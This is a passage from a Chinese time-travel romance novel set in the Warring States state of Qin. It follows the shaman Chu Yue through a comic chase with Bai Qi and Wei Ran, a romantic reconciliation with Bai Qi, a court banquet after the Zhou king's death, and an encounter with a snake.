大山羊将小山羊护在身下,呈现出防御姿势,拒绝让猞猁靠近,楚越抱着猞猁过去,大山羊低头,用头上的尖角对准她们。 山羊不似绵羊,母羊和公羊一样头上有犄角。 楚越没了办法,眼看小猞猁饿的路都走不稳,她只能让人将大山羊按住,再让小猞猁上前吮吸乳汁。 吃上奶,小猞猁暂时活了。 “司巫,我们给小猞猁取个名字吧。”嬴稷看向楚越,一双黑葡萄般的眼睛亮晶晶。 这样的目光,这样的身份,楚越很难拒绝。 “公子想叫它什么?” “既是司巫豢养,应当由司巫命名。”嬴稷模样乖巧,一点也看不出将来战国大魔王的样子。 “既是豢宠,便以宠为姓氏,猛兽中,最尊莫过于虎,就叫应虎吧。” 望子成龙,望宠成虎,非常中国人的想法。 “宠应虎。”嬴稷念了一遍,“好拗口。” “那就叫小虎。” 嬴稷笑了,低头唤猞猁道:“小虎。” 因不出猎,嬴嘉与嬴缃待在屋中无聊,也来找楚越,楚越将昨天剩下的面粉包了饺子,给二人品尝。 “同样是女师的弟子,我怎就烹调不出这么美味的佳肴。”嬴嘉且吃且叹。 嬴缃也附和道:“是啊。” 楚越嘴角止不住上扬,“好吃就多吃,管够。” 今天消费由楚女士买单。 到了中午时分,烈日高悬,道路积水渐渐干了,几人一同驾车出门去玩,她们又回到了那片桃林,只是一夜风雨大作,花瓣零落成泥。 樱桃树的情况也不好,许多果子都掉到了地上,几人有些惋惜,楚越见状,安慰他们道: “我们再找找,说不定还有别的樱桃树。” 众人在附近找了一圈,果真找到了另一株樱桃树,这棵樱桃树要比之前那棵树更高大、粗壮,所以更能抵抗风雨,通红的果子在绿叶之间,若隐若现。 楚越又掏出了弹弓,只不过这一次眼中冒光的,是两位小公子。 “姊姊真厉害,我也要摘!”嬴荡脱了外衣,就要往树上爬。 楚越怕他摔着,也跟着爬了上去。 嬴荡手脚麻利,机灵的像猴子,他攀住树干,摘下樱桃,往树下抛,嬴稷则撑开哥哥的外衣,接住他丢下的樱桃,二人配合默契。 楚越坐在一侧树干,也不好打扰兄弟协作,见眼前风景不错,伸手将嬴嘉和嬴缃也拉了上来,三人坐在树干上,眺望远方。 金黄光线笼罩下的平原生机盎然,道路两侧,目之所及,都是一望无垠的农作物,绿油油一片,青葱旺盛。 三五农夫锄草其中,微风吹过,带着泥土与植物的芳香,耳边树叶哗哗作响。 嬴缃眼尖,一手指着远处,另一手扯了扯身旁的楚越与嬴嘉,“姊姊,司巫!快看。” 顺着她手指的方向看去。 哦。 是一条灌溉的沟渠,和一群洗澡的男子。 不对,楚越眯眼,定睛望去,他们不是在洗澡,是在洗马。 一夜风雨,旭日又升,原本干涸的沟渠中,水势一时涨起。 一行十几个英武青年洗马河中,有说有笑,为了方便劳作,他们脱去了上半身的襦,健壮的黝黑肌肤,露了出来。 目睹他们脱衣,楚越惊了一下。 “天啊。” 这是不付费能看的节目吗? 她看向身侧两名同伴,三人对视一眼,一起笑出声来,到嘴边的非礼勿视,被楚越抛之脑后。 先秦民风开放,尤其秦国地处西北,与戎族比邻,这不合乎周礼,但合乎秦法啊。 秦法可没说不允许人看美男洗澡。 法无禁止即可为。 嬴缃眼神最好,指着其中一个,激动道:“快看快看!那个,他长得好高大!” 楚越顺着她手指的方向望去,隔得太远,她视力远不如嬴缃好,没看清那人的脸。 不知为何,楚越隐约觉得那人眼熟。 望远镜。 她需要望远镜。 三人看了没多久,渠中便有人注意到了树上的她们,连忙呼唤同伴,沟渠中的人纷纷停下手上动作,朝他们的方向望来。 确认有人后,但见他们迅速散开,一阵狼奔彘突、找衣服、寻鞋子的慌乱过后,那行人一边穿衣服,一边朝他们围来。 抓流氓了?! “快走!”楚越反应最快,当即便跳下树去。 秦军抓人的速度,楚越是亲眼目睹过的,只是没想到有一日,这赛过博尔特的速度,竟会是来抓她的。 楚越跳下树,接住几人下树,嬴稷年纪小跑不快,楚越一把将他扛起肩头,一行人在她的带领下,撒腿就跑。 因为是出游,几人的衣饰都有些繁复,越跑越慢,楚越一手挟着嬴稷,另一手提裙,跑在最前面,不时回头对身后人道:“快走啊。” 嬴缃头上的发饰不堪重负,掉落在地。她一摸空空如也的发髻,停下脚步,回望身后秦军士兵,困惑问道:“我们跑什么?” 嬴荡也气喘吁吁问道:“对呀。” 跑什么? 这是在秦国,那是秦军的士卒。 两个秦国公子、两个公孙,一个秦国司巫。 还能怕他们不成? 楚越来不及解释,放下嬴稷,叮嘱身后几人道:“你们别说是和我一起来的。” 说罢,她提起裙子继续往前跑。 她必须得跑,有不得不跑的理由。 那群人打着手势朝她们围过来的时候,楚越心便陡然一震,知道方才的似曾相识感,到底从何而来。 虽然 看不清来人的脸,但就那领头人的身形和手势而言。 绝对是魏冉! 可能还有别的熟人。 人固有一死,却不能是社死。 ‘原告’们很快追了上来,等着他们的却是气势比他们还足的一群‘被告’。 白起扫了一眼几人,偏头朝他们身后望去,他谨慎看向魏冉,魏冉目光也随之肃然,对他点了点头。 “公子。”魏冉抱拳,向嬴荡、嬴稷行礼。 他手一伸,捏着一支金钗就露了出来,嬴缃瞥见,当即伸手道:“还给我!” 魏冉无奈,只得将金钗双手奉上,嬴缃上前一步,把金钗夺了回来。 “大胆,敢追本公孙!”嬴嘉率先发难道。 “公孙恕罪。”魏冉继续和两人纠缠,白起则趁他们不注意,带着一小队人,悄悄离去。 楚越奔跑在密林之中,试图借助地势隐藏自己的身影,身后脚步声杂乱,从四面八方而来。 她一时不知该往何方跑了,听脚步声,四面八方都是敌人 短暂思索,她想起白起和她讲兵法时,常提到的一招——打草惊蛇。 魏冉带的人并不算多,林子却很大,对方显然无法在这么短的时间内,确认自己的位置,所以他们只能放大声势,逼乱自己的阵脚, 只要自己一着急,就会露出痕迹。 楚越望了一眼身后,继续沿着方才的方向跑去。 脚步声渐渐远去,对方见自己的计策被识破,并没有继续敲山震虎,楚越一边跑,一边观察地形,朝地形复杂的方向跑去,尽量甩掉身后人。 但她光顾着看地势,忽略了身边的灌木丛,就在她转身之际,灌木丛中猛然扑出道黑影,楚越躲闪不及,一股巨力迎面袭来,她被这忽如其来的黑影掀翻在地。 落地一刹,格杀精要便不受控制的涌入脑海,楚越将身一缩,便从那人腋下滑出,顺势抓住对方手臂,然而她双腿还未绞上来人臂膀。 一道冰凉先一步,抵在了她脖子。 怎么还动刀了? 玩不起是吧! 楚越在冷兵器的威胁下不敢动,只得缓缓松开了手,匕首很快从脖子上卸下,一道带着惊诧的熟悉声音落入耳中,“楚越?!怎么是你?” 白起坐在地上,不可置信看向楚越,“你跑什么?” 楚越声音比蚊子小,“不跑等着社死吗” “什么?”白起没听清。 楚越不说了。 “我们远远见一群人鬼鬼祟祟,以为是刺客,想上前问清楚,谁料,你们拔腿就跑,我追漏网之鱼而来,居然是你?你跑什么?” 原来不是抓流氓,是抓刺客。 楚越转过头,怒道:“你怎么不早说!” 亏她跑了这么远。 还搞的灰头土脸。 她可不是什么刺客。 白起望着楚越,漆黑的眼睛转了下,似乎想到了她跑的原因,于是问道:“你刚才看到什么了?” 楚越目光闪躲,却依旧嘴硬道:“什么都没看到。” “那你跑什么?” “我” 楚越深吸口气,理直气壮道:“有人追我,我当然要跑!” 这个理由显然站不住脚,白起歪头,看向楚越的眼睛,楚越避开白起的视线,一切尽在不言间。 两人从地上站起来,白起一边拍着身上的灰,一边思索着什么。 他越想,脸色越沉,片刻,他看向楚越,一句“我先送你回去”尚未出口,抬头便发现她正盯着自己看。 楚越见白起抬头,下垂的视线抬起,望着他的眼睛,欲言又止:“你” 白起低头一看,发现自己的衣带不知何时开了,方才两人一交手,挣扎中,原本系得不紧的衣带 开了 被掩住的半边衣襟坠进衣里,露出一线风景。 白,白起真对得自己这个姓氏。 好白。 虽然脸晒得黑,但衣下,未被晒到的地方,皮肤白皙,当然,可能是因为脸晒得黑了,反衬得胸口白。 半边锁骨清晰,另一半若隐若现 楚越方才从地上站起来的时候,就看见了,她想提醒,却不好开口,稍微一犹豫,就对上了白起的视线。 她为难的眨了眨眼睛,抬手指向白起的衣服,“你的衣服” “开了。” 白起一把捂住衣襟,肉眼可见的恼怒,“你还看!” “小器。”楚越轻声道。 看一下而已了,又没看到多少,她视力不如嬴缃,有没有望远镜,而且,裤子还在啊。 四下无人,这一句腹诽虽轻,却清晰落进白起耳中,他抿唇,眼中恼怒越来越深,呼吸也随之急促。 他背过身去,整理好衣服,压下心头怒火,对楚越道: “走!” 猎宫附近多猛兽,白起不敢将她一个人丢在这里。 楚越在前面走,白起跟在她身后,像押送犯人一样,她几次回头,想和白起说话,对方始终保持沉默,一言不发。 这样看起来更像押送犯人了! 走了没多远,几个从前的同袍从四方聚拢来。 白起对他们解释道:“是误会,那人是楚越。” “啊?!”同袍大惊失色。 “你们把她护送回去。” 白起说完,转身就走。 见他要走,楚越在他身后喊道:“白起!” 白起置若罔闻。 同袍们面面相觑,最后齐齐望向楚越,个个眼露幽怨,似乎要问她要个说法。 楚越:“” 事到如今,她不得不想点办法,救活自己垂死的老脸。 “隔那么远,你们看清我的脸了吗?”楚越问几人道。 同袍摇摇头,很显然,他们都没有看清,但凡有一个人看清了,他们确定是自己而非刺客,就不会穷追不舍。 “你们都看不清,那我能看得清吗?” 她是真没看清多少。 同袍眼前一亮,“当真?” 楚越竖起三根手指,“我对天盟誓。” 第26章 吃醋男人也吃醋 同袍护送楚越返回,与嬴缃等人会合,魏冉望着楚越,深吸口气,“居然是你!” 居然是她! 没错,就是她。 是她是她就是她,少年英雄 同袍为楚越辩解,魏冉将信将疑,但台阶摆在这里,不下,就摔死。 再解释,只会越描越黑,搁置,淡化,才是上上之举。 “行吧。” 魏冉认了。 “白起呢?”他又问道。 同袍道:“不知道,刚才人就走了,怎么叫都不回头。” 魏冉看了一眼楚越,朝几人一拱手,“公子,公孙,司巫,我们先告退了。” 说罢,他便带队离去。 嬴嘉注意到楚越身上狼狈,上前帮她整理,“司巫既与他们认识,为何还弄得这么狼狈?我们并非刺客,只是误入此地。” 楚越笑的勉强。 这 就是因为认识,所以才要跑。 不认识的话,根本没必要跑,站在原地看,也无人能将她如何。 楚越与嬴嘉两人七手八脚将头发重新梳理整齐,但衣服上的破洞却大的显眼。 丝绸娇贵,不如麻衣经得起土里来泥里去,稍微磕碰,就会损坏。 这是件新衣服,才穿了没有几次。 楚越不免心疼,埋怨道:“都怪白起。” 死心眼的追了她一路。 她盯着衣服上的破洞,越看越心疼,越心疼越生气,倒不是她小气,只是这丝衣来之不易。 战国时代的蚕,产丝量不高,且蚕丝很细,所以丝帛产量也低,秦国还未拿下巴蜀,能养蚕的地域不广,重重限制下,整个国家年蚕丝产量有限。 但蚕丝的用途却很广,不仅可以制成衣料,也是制弓的“天选之材”,既能缠在弓臂起防水之效,还能应用于弓弩之弦【1】。 蚕丝在柔韧性上远超动物筋腱,拉伸力也在普通麻绳之上,按一定比例掺入动物筋腱,可以提高弓弩射程。不止如此,蚕丝 还是制造弦类乐器的原料。 和打仗比起来,享乐当然是次要的,故而秦国的蚕丝首先要供给军工,其次才用于丝织业。 秦王与王后提倡简朴,以身作则,号召上下,少服丝衣,多穿葛麻。 同比之下,楚国气候湿润,丝帛产量高,芈夫人曾送给王后一批楚国丝帛,作为友好的礼物。 楚国的丝织品,享誉列国,花纹精致,华美异常。 王后也很喜欢这些丝帛,但考虑到影响,便宜了楚越等一众与王后亲厚的年轻女子,缝人将丝帛裁制成衣。 一件上好的楚帛丝衣,无异于现代高定。 这限量版高定穿在身上,还没穿出名堂,就没了! “不行,我要找白起赔我的衣服!” 楚越越想越生气,当即就要去找白起赔钱。 听楚越说出一个人名,嬴缃才从远方回过神来,好奇问道:“白起是谁?是刚才那位小将军吗?” “他叫魏冉。” 楚越觉察异样,看向嬴缃,怎么,魏冉也要赔钱? “哦。”嬴缃恍然大悟,“那我陪你去,我的金簪也摔坏了,他要赔我的金簪。” 还真是。 不对,楚越蹙眉,“金簪哪儿摔坏了?” 金子,这么不结实? “还是先回去换衣服吧。”嬴嘉扫了妹妹一眼,目光似乎洞穿一切。 楚越的衣服破了,众人只得先返回猎宫,她重新换了衣服,苎麻衣虽不如楚帛华美飘逸,但轻薄透气,天气炎热时服之,不闷不热。 等她从屋中出来,几人在院中,和小羊玩得正开心。 猞猁小小一只,还不知事,嬴荡将它抱在怀里,去吓小羊,小羊撒开蹄子,满院子乱撞,嬴稷在一旁,拍手为哥哥叫好。 他眼中膜拜,没有一点演技,全是真感情。 两个魔王幼年体,为祸一方。 大羊咩咩乱叫,却被绳索套住脖子,嬴缃眼珠一转,偷偷解开了山羊套在木桩上的绳索。 嬴荡脸上的笑容消失了,被追的,从小羊变成了抱着猞猁的他。 秦王绕院走,卒惶急不知所为【2】。 嬴嘉、嬴缃坐在院中木台,笑的前仰后合,她俩一边笑,一边道:“荡公子,你跑快点!” 原来不是一家人,不进一家人。 一家子魔王。 嬴稷想去帮哥哥,小脑瓜动了动,直奔小羊,一招围魏救赵,小羊咩咩叫,成功唤回穷追不舍的大羊,大羊折返,将小羊护在身下。 一场风波,才就此平息。 “兄长。”嬴稷朝哥哥跑了过去。 “弟弟。” 两位魔王站在一起,相视一笑,嬴荡脸上全没有被羊追的狼狈,只有和弟弟一起耍了羊的喜悦和得意。 楚越望着嬴荡怀中的小虎,不知不觉又想起了白起。 他似乎也生气了。 为什么是也,因为男人生气都是一个样,嬴华是真生气了,白起的背影和他类似,肯定是也生气了。 嬴华生气她明白。 白起气什么? 她还没生气她的高定呢。 真让他赔钱,就他现在那点微薄的俸禄,起码要赔好几年,战国时期,丝帛珍贵,几乎可以当做货币使用,她都还没和他计较,他先生气了。 男人。呵。 嬴缃对魏冉很感兴趣,几次向楚越旁敲侧击,打听他的来历,少女的好奇,是藏不住的,嘴巴会泄露,眼睛也会。 楚越望着嬴缃亮晶晶的眼睛,一瞬愣神。 好复杂的问题。 当然,复杂的不是感情,而是人背后交错的势力。 嬴缃的兄长公孙奭乃宗室重臣,因为逃婚,楚越已经将秦国的宗室得罪一个遍。 如若让公孙奭得知,是自己给他妹妹介绍了魏冉,恐怕会起反作用。 但毕竟是朋友,还是自己的迷妹,没办法,也得想点办法。 楚越沉吟片刻,“公孙,我对魏冉并不熟悉,公孙若想找魏冉索要金簪之赔,可以去找芈夫人。” 赔钱当然要找家长。 有别的想法也最好找家长。 一步沟通到位,省掉中间商赚差价。 “为什么要找芈夫人?”嬴缃问道。 嬴嘉也凑了过来,“对呀,与芈夫人有何干系?” “芈夫人是魏冉的姊姊。” 嬴缃眼前一亮,“他就是公子稷的舅舅!” 显然,她听说过这号人物。 一时三人各有所思,唯有嬴荡、嬴稷两人天真无邪,玩得不亦乐乎。次日天气依旧晴朗,围猎继续,傍晚红霞漫天,半边天际,都被染得通红。 楚越骑在墙上,目睹一队巡逻秦军,出现在夕阳晚霞之中,由远及近。 墙上多出个人,巡逻秦军难免朝她的方向看来,领头的人正是白起,他看清是楚越,回头对身后士卒使了个眼色,士卒会意,继续巡逻。 白起则停在了墙下。 “下来。” 墙并不高,一人多高,楚越骑在墙上,低头看向白起,“我还以为你不理我呢。” 白起冷峻的扫了她一眼,眼眸复低垂下去,再抬起,目光已经柔和许多,他朝她伸出一只手,重复道:“下来。” “不下来。” 楚越居高临下,睥睨白起,“你那天为什么不理我?” 她叫他,他却不肯回头。 “你那天又为什么会到那地方去?”白起的神情又恢复冷峻。 他仰首望向楚越,漆黑的眼睛愠色隐约,但不过一瞬,他便觉察到自己失言,又低下头去。他也没有如往常失态一般道歉,而是沉默站在原地。 “那地方那么大,我们走着走着就过去了,只许你们去,不许我们去吗?这是什么规矩?谁定的?秦法吗?” 楚越振振有词。 白起沉默片刻,“如此说来,倒是我的错了?” 楚越也短暂失语,“那也不是我的错啊。” 怎么能是她的错,她什么都没看到。 白起一拱手,“在下冒犯了,司巫恕罪,告辞!” 说完,他转身就要走。 楚越无奈,在他身后大声道:“我为了找你,费了好大功夫呢,你真要走吗?” 白起闻言,脚步一时止住,他回头望向楚越,眼中一时浮起些许踌躇。 在人多的地方找人,并不容易。 之前是偶然遇见,白起知道楚越的位置,来找她,那日时间紧迫,楚越还未来得及询问白起如今在何处,白起也没来得及告诉她。 战后军队重组,人员升迁、调动频繁,围猎的安保军队,又是多方抽调,混在一起,轮流驻防各方。 想在猎宫中找一个人,还是一个职位并不高的人,无异于大海捞针。况且,巫祝与军队也不属于同一序列。 找人的时候,楚越真傻了眼。 她这微薄的人脉,并不支持她找到白起,秦王以下数三级,小兵往上数三级,是她的人脉极限,中间的,不认识。 大思路只有两条。 一、通过嬴稷找魏冉,再从魏冉找白起。 二、通过嬴华找都尉,再找白起。 没有中间商,有些事还真的干不了。 楚越想了想,钻研出了第三条路,去找嬴疾,猎宫安保总指挥,对于嬴疾而言,都尉这个层级的官,手下没有十个,也有二十。 还是不好找。 经过两人的不懈努力,人打听人,终于找到了王都尉。 谁料她人到营帐,却发现嬴华也在,两人相见,嬴华冷哼声,转过头去,再不肯多看她一眼。 楚越见状,扭头就走。 人走出两步,嬴华的控诉声从身后传来。 “她早晚把我气死。” 楚越的脚 步一时停下。 王都尉一笑,打趣嬴华道:“公子还是少年心性,爱与司巫计较。司巫年少,公子就当她是童言无忌了。” “她还小?” 王都尉只是笑,“公子也知,司巫不小了,人长成,总有自己的想法,岂能如年幼时一般,事事听从公子。况且,司巫年幼时,也非常与众不同。” 他初见楚越时,她不过一小童,垂髫之年,却要从军。 军中的巫师说,司巫是来见天地的,随从大军,拜祭秦国境内群山、流水,与神灵通。 秦人对山川河流,多有敬畏,大军经过,也会祭祀,楚越的行为并没有问题,唯一的不同,便是她的年纪太小了。 等到她长大,都尉又在军中遇见了她,奋勇杀敌,是个很骁勇的女士。 嬴华一挥手,“就这样吧,管不了。喝酒。” 楚越回头,看了一眼营帐方向,气冲冲走了。 都尉是找不了,只能找魏冉。 魏冉开开心心提着个笼子,来见嬴稷,岂料一进院子,他便看到了嬴稷身边的楚越,脸上的笑容顿时僵住了。 他深吸口气,看了一眼嬴稷,又看向楚越,大概知道所谓公子找他,实则公子后面,还省略了一个司巫。 抢在楚越开口之前,魏冉先道:“等等!你有话自己去跟白起说,我可不管!白起可说了,让我别说话,再废话对我不客气。” 楚越一时哑然,好半晌才道:“他不讲理。” 魏冉朝嬴稷晃了晃手里的笼子,嬴稷眼前一亮,笼中一只小猞猁,与白起抓来送给楚越的,相去无几。 “知道公子喜欢,现在公子也有自己的猞猁了。”魏冉低头望着嬴稷,眼里全是温柔的光。 嬴稷睁着双大眼睛,对魏冉道:“舅舅最好了,稷儿最喜欢舅舅了。” 魏冉头也不抬,目光全停留在嬴稷身上,摸摸他的小脑袋,又拉拉他的小手。 “我看你不是能说吗?自己跟他讲理去。” “行,你跟我说他在哪儿。” 自己讲就自己讲。 她有理,她没错。 天王老子来了,她也没错。 楚越望着白起,理直气壮,“那日就是误会,我与两位公子、公孙出游,无意间看到,我还能是故意偷看的?” 白起一时沉默。 他走了回来,重新朝楚越伸手,口气温和不少,“先下来。” 楚越不动,望着白起的眼睛,认真道:“我那日的确什么都没看到,即便看到了,我也不觉得有什么,就如同那日在河边,我并不介意被你看到一样。” “人和人是不一样的,白起。” 楚越凝视白起漆黑的眼睛,“我是司巫,群巫之长,事鬼神之人,我生来就与别人不同,你应该也听说过,关于我的事情。过去,以及今日种种,只是我与众不同的其中之一,越到以后,越相处,你越会发现我与常人不一样。” 她毕竟是个穿越者。 就算再怎么融入这个世界,也不能真的跟古代人一样。 可以理解,但需要持批判态度,先进的,即便不适合当下,也不能被落后取代,这是她的退步。 “所以我得告诉你,我和常人不同,然后问你,知道了这些,你还愿意喜欢我,想和我在一起吗?” 楚越想了想,又补充道:“而且,这样的后果是可怖的,我离开咸阳,是为了摆脱与公孙嬴轩的婚约,我现在已经得罪宗室了。你怀着远大的志向参军,不该因为儿女私情受阻” 她话还没说完,便被白起打断,“我知道。” 楚越愣了一下,“什么?” 知道什么? “魏冉从芈夫人处得知你身份之后,便告诉过我,你离开咸阳的原因。你不愿意嫁给公孙,逃婚了。” “你是巫咸国后裔,随曾经的大良造公孙衍入秦,因预言雕阴之战胜负,被拜为司巫,是王上的宠臣。这些,我都知道。” 白起坚定的望着楚越的眼睛,“可是决定的事情,我就会去做,排除万难,也不会放弃。即便失败,也无惧无悔。” 喜欢就是喜欢,排除万难也要在一起,因为喜欢,所以愿意。 楚越不可置信的望着眼前的白起。 君心何坚定,字字言似金。 看着眼前坚定的少年,楚越反而一时犹豫。 “士之耽兮,犹可说也。女之耽兮,不可说也【3】。今天你这么坚定的同我说这番话,他日” 白起的人生,绝大部分都埋在历史的黄土之下,除了他的军功,其余都有争议。 楚越重新走回了死胡同,历史不容更改,但她又不甘接受既定的命运,但历史和命运之间,注定要选择其一。 万一以后白起的官配出现,那她怎么办? 路走错了一次,绝不能再重蹈覆辙。 面对楚越的犹豫与疑问,白起也不知该如何回答,短暂思索,他回答道: “我不知道明日会发生什么,所以我不会止步不前。也许如你所言,你拥有看到明日的能力,故而,你才会怀疑现在的一切。如果没有明日,今日又为何?是吗?” 楚越抬眸,点了点头。 她能看到所有人的命运,但看不到自己的。 “可是不是这样的,每一天都是不一样的,日升日落,月亮每晚都不同。明日的月亮是圆还是缺,那都是明日的事情,我知道的,只有昨日和今日,昨日月亮很圆,我遇见了你,今日,你在我眼前。” 白起伸向楚越的手,一直不曾落下。 “你说你看得到我的命,可我却觉得没有命可言,即便真有,也不必害怕,更不必踌躇,遇到什么,迎头而上就是,是山,就越过去,是河,就淌过去,是爱人,就抓住,不要松手。这样,即便真走到明日,走到命数之前,也不会抱憾。” 喜欢就是喜欢,少年的喜欢,总有一股不惧命运、不管后果的倔强与坚持。 楚越望着白起,忽然笑了一下。 漫天霞光中,她朝他伸出手,白起抓住楚越的手,往自己的方向一拉,楚越顺势纵身,从墙头跃下,恰好落入白起张开的双臂中。 他稳稳接住了楚越,将她放在地上。 四目相对,白起的头又不自觉低了下去,片刻后,他抬头望着楚越,认真问道:“你说的与常人不同,指什么?莫不是脑后还长了眼睛?” “那自然没有,我只有两只眼睛。” 白起眼中严肃渐渐散去,一丝隐隐自矜的笑意浮现。 “那你和常人也没有什么区别,都是两只眼睛,一个鼻子。” 楚越眼睛一眯,意识到白起不太会开玩笑,这个玩笑太冷了 但她还是笑了下,忽然神秘兮兮对白起道:“那倒也不是,其实” 白起好奇的望着她,等她说出后文。 楚越压低了声音,“其实#¥@……” 她低声说了些什么,白起没听清,“嗯?” 楚越朝他招手,示意他往前,白起认真将耳朵凑了上去,楚越以迅雷不及掩耳之势,在他脸上亲了一下。 白起肉眼可见的窘迫起来,左顾右盼,确认四下无人,才无可奈何的看了楚越一眼。 楚越望着白起,哈哈笑出声来。 开玩笑? 这才是玩笑。 白起抿唇,神情无奈,“人与人本就不同,男女老幼,人心又各异,各人有各所思,若真能勠力齐心,便不会有这乱世。所以,你即便与众不同,也是应当的。” 楚越点点头,拖长调子‘嗯’了声,“你说的有理,人各有各的想法,那请你告诉我,你为什么生气?” “不可言。” 楚越望着白起,“你说不说?” 白起摇头,“不可言。” “不说我走了。”楚越作势就要离开,手臂忽然一紧,白起拉住了她,楚越望向他,白起别开她的视线,转过头道:“嫉妒,非君子之德,不可思。” 这世上,不止女人会嫉妒,男人也会嫉妒。 嫉妒源于心中在乎。 在乎什么,就会不平,嫉妒,人之常情 而已。 楚越愣了一下,虽然想到白起可能是因为这件事生气,周礼虽然管不到她,却对白起有影响。他视看自己为失礼,说明他还是很在乎看或者不看。 但对方果断承认,的确在她预料之外。 一点都不嘴硬。 她不禁朝白起竖起大拇指,“你真是坦荡!” 天知地知的事情,他要记。 只有自己心里知道的事,他也认。 “人对自己还有所隐瞒,那便是掩耳盗铃了。君子坦荡荡,小人长戚戚。” 第27章 冤家路窄冤家的路窄的要命 围猎结束前夕,咸阳传来消息。 周天子死…不是 天子死曰崩,诸侯曰薨,大夫曰卒,士曰不禄,庶人曰死【1】。 尊敬的东周第二十二位君主,姬扁大王,跟服务器一样,崩了。 对此,秦庭上下表示:“哦,知道了。” 接着奏乐,接着舞。 从春秋打到战国,周天子的地位不断在下降,起初,他只是输给了郑国,被郑庄公一箭射落了威严,后来,越输越多,领地越来越小,也越来越穷。 桓王死了,居然没钱安葬,需要向诸侯要钱,才能办的起丧事。 到了服务器大王,就更惨了,周室最后一点地也没了。 显王二年,他将为数不多的王畿之地封给公子根,东周国建立,服务器大王就剩下一座成周王宫,寄居于东周国中。 天下共主当到这个份上,还是算了。 而今列国诸侯,不论大国小国,强国弱国,都有一顶王冠在头上,周王是王,他们也是王,死就死吧,哪年不死王呢? 楚越看向上首秦王,他倚在凭几上,一手漆杯,另一手手轻击桌案,随乐人演奏打着拍子。 周王的死讯,在他眼中不值一提,死吧死吧,他巴不得天下的王都死了,只剩下自己一个秦王才最好。 楚越收回视线,端起面前酒杯,正欲一饮而尽时,忽有人出列,向嬴驷进谏道: “王上,臣弟以为,秦当派遣重臣为使者,前往成周,吊祭周天子,以示秦国礼遇周室。” 乐声戛然而止,众人纷纷望向嬴华。 嬴驷坐正了身子,问道:“为何?” “王上忘了,昔年公父初继位,周王曾派人致文武胙,秦国称王,周王也致胙于秦。” 此话一出,上下为之一惊。 怎么把这茬忘了。 嬴驷老爹孝公继位之初,秦国尚未变法,邻国魏国经由吴起变法,实力强大,时常欺凌秦国,对外,有强敌,对内,孝公年轻,根基不稳。 内忧外患之中,周王派人赐文武胙肉给孝公。 祭祀文王、武王的胙肉,是荣誉的象征。 此举无异于雪中送炭,故而孝公强大秦国之后,派太子驷率领西戎九十二国去朝见周显王。 秦国称王,周天子又派人送来了文武胙肉,虽然今时不同往日,以秦国而今国力,胙肉不过锦上添花。 但,有比没有好。 这么大的事情,群臣却无一人想起,嬴驷神情顿时变得严肃起来,大臣们见状,纷纷起立,楚越见大家都站了起来,也准备跟着站起,但一想,这事和自己没关系。 孝公时候的事情,她怎么知道? 楚越准备坐下。 但众人都起立,唯独她一人坐下,太与众不同。 老板生气的时候,最好不要做扎眼那个,枪打出头鸟。 但微醺的大脑,不如清醒时对身体的掌控强,就这么短短纠结一瞬,楚越的身体便保持不住平衡,一个不稳,跌坐在席子上。 好了,死定了。 气氛变得严肃,所有人都一动不动,屏息凝气,楚越坐在席子上,不敢乱动,唯恐被发现,她悄悄低下头,心中默念: 看不见她!看不见她! 群臣垂首,缄默不语,嬴驷锐利的视线,逡巡众人一周,一张口,语气却松和。 “罢了,今日宴饮,寡人与众卿都醉了,一时想不起,也是有的。都坐吧。” 群臣这才松了口气,告罪道:“谢王上。” 嬴驷一展袖子,端正坐稳,看向嬴华,“多亏华弟进谏,周室对秦,历来友好,秦也的确该派遣重臣,前往成周。” 闻言,嬴华抱拳退下。 乐舞继续,嬴驷忽然对嬴华道:“群卿醉酒,华弟你却正襟危坐,可是寡人的酒不好。” 嬴华直身,“不敢,王上的酒,乃宫中珍品。” “寡人见你闷闷不乐,可是有心事?” 嬴华面色为难,“王上别问了。” 楚越低着头,一边继续保持低存在感,一边思索一会儿宴会结束如何溜出去找白起。 见气氛缓和,歌舞继续,她抬起头,准备观察一下周围情况,好要找个机会溜走,谁料一抬头,她的目光,恰好擦上嬴驷视线的尾巴。 刚才? 大老板似乎朝她的方向望了一眼? 楚越的心立刻悬了起来。 该死,早知道站起来了。 楚越不敢早退了,一直待到宴会结束。 宴会散去,天色已经暗了下来,楚越轻车熟路来到猎宫围墙下,双手一撑,麻利翻上墙,她在墙上坐稳,手中火折子燃起火苗微弱,光亮不大,但足够让人看清她的脸。 有了几次被当刺客的前车之鉴,楚越觉得,点灯出行,利己利人。 白起如期而至。 楚越纵身跳了下去,落地一瞬,手中火折子应声而灭,世界陡然陷入黑暗,又慢慢清晰起来,微弱月光下,他们看清彼此近在咫尺的脸。 白起凝视着楚越的眼睛,喉结上下动了下。 他漆黑的眼睛,离她越来越近,略微急促沉重的呼吸,迎面而来,楚越大概猜到他想做什么,呼吸也为之一滞。 但预想的感觉一直不曾出现,脸上绒毛痒痒的,白起的鼻尖擦过她鼻尖,炙热仿佛伸手可触,但不过一瞬,温度又陡然降下,他的脸远去,远去,又擦过 楚越望着白起那张在自己眼前,远远近近,近近远远,最后别开的清俊面容,一个没忍住,笑出声来。 白起看了楚越一眼,楚越抿唇。 死嘴。又乱笑。 楚越正欲解释,却听白起道:“我要走了。” 相聚的时间很短,因为—— 他们都是有正经工作的大秦打工仔。 白保安小队长还有大半猎宫没有巡视。 “回去之后,我可能要过很长一段时间才能来见你。”白起道。 楚越叹口气,轻声道:“我知道。” 回咸阳之后,她能与白起见面的机会便少了,毕竟,他们都是要按时上班的人。白起在军营,非故不得外出,楚越在王宫,也不能任意进出。 月光迟迟,照亮离人一步三回头。 白起追队友而去,楚越刚想翻墙,但听草丛中传来阵窸窸窣窣的声音,楚越敏锐后退一步,火折子照亮一隅,地面支起上身,脖颈呈s状的一条黑蛇,利箭般朝她弹射过来。 楚越是害怕蛇的。 打小就怕。 幸而身体觉察危机,本能保护自己,楚越一火折子,挑开朝她扑来的黑蛇,火折子脱手,和蛇同时落在草地上,蛇怕火,身体回缩。 眼看火折子要灭,一旦陷入黑暗,便对她不利,情急之下,楚越咬牙,一脚踏在蛇的七寸。 脚下黑蛇剧烈挣扎,楚越头皮发麻,却不敢卸下一点力气,用力踩着脚下的蛇。 “白起。” 脚下长蛇挣扎的力道越来越强,她快要踩不住,吓得大叫道,“快回来!救命啊!” 楚越的求救声,在寂静的黑夜中,十分清晰,不止白起听见了,附近的巡逻队伍,也听见了。 但见许多火把,从几个方向涌来,白起最先跑来,拔剑出鞘,利落将蛇头钉在地上,楚越跳起三尺,连步退开,走得急了,步伐踉跄,一连退了好几步才站稳。 “蛇没咬到你吧。”白起见蛇是毒蛇 ,担心问道。 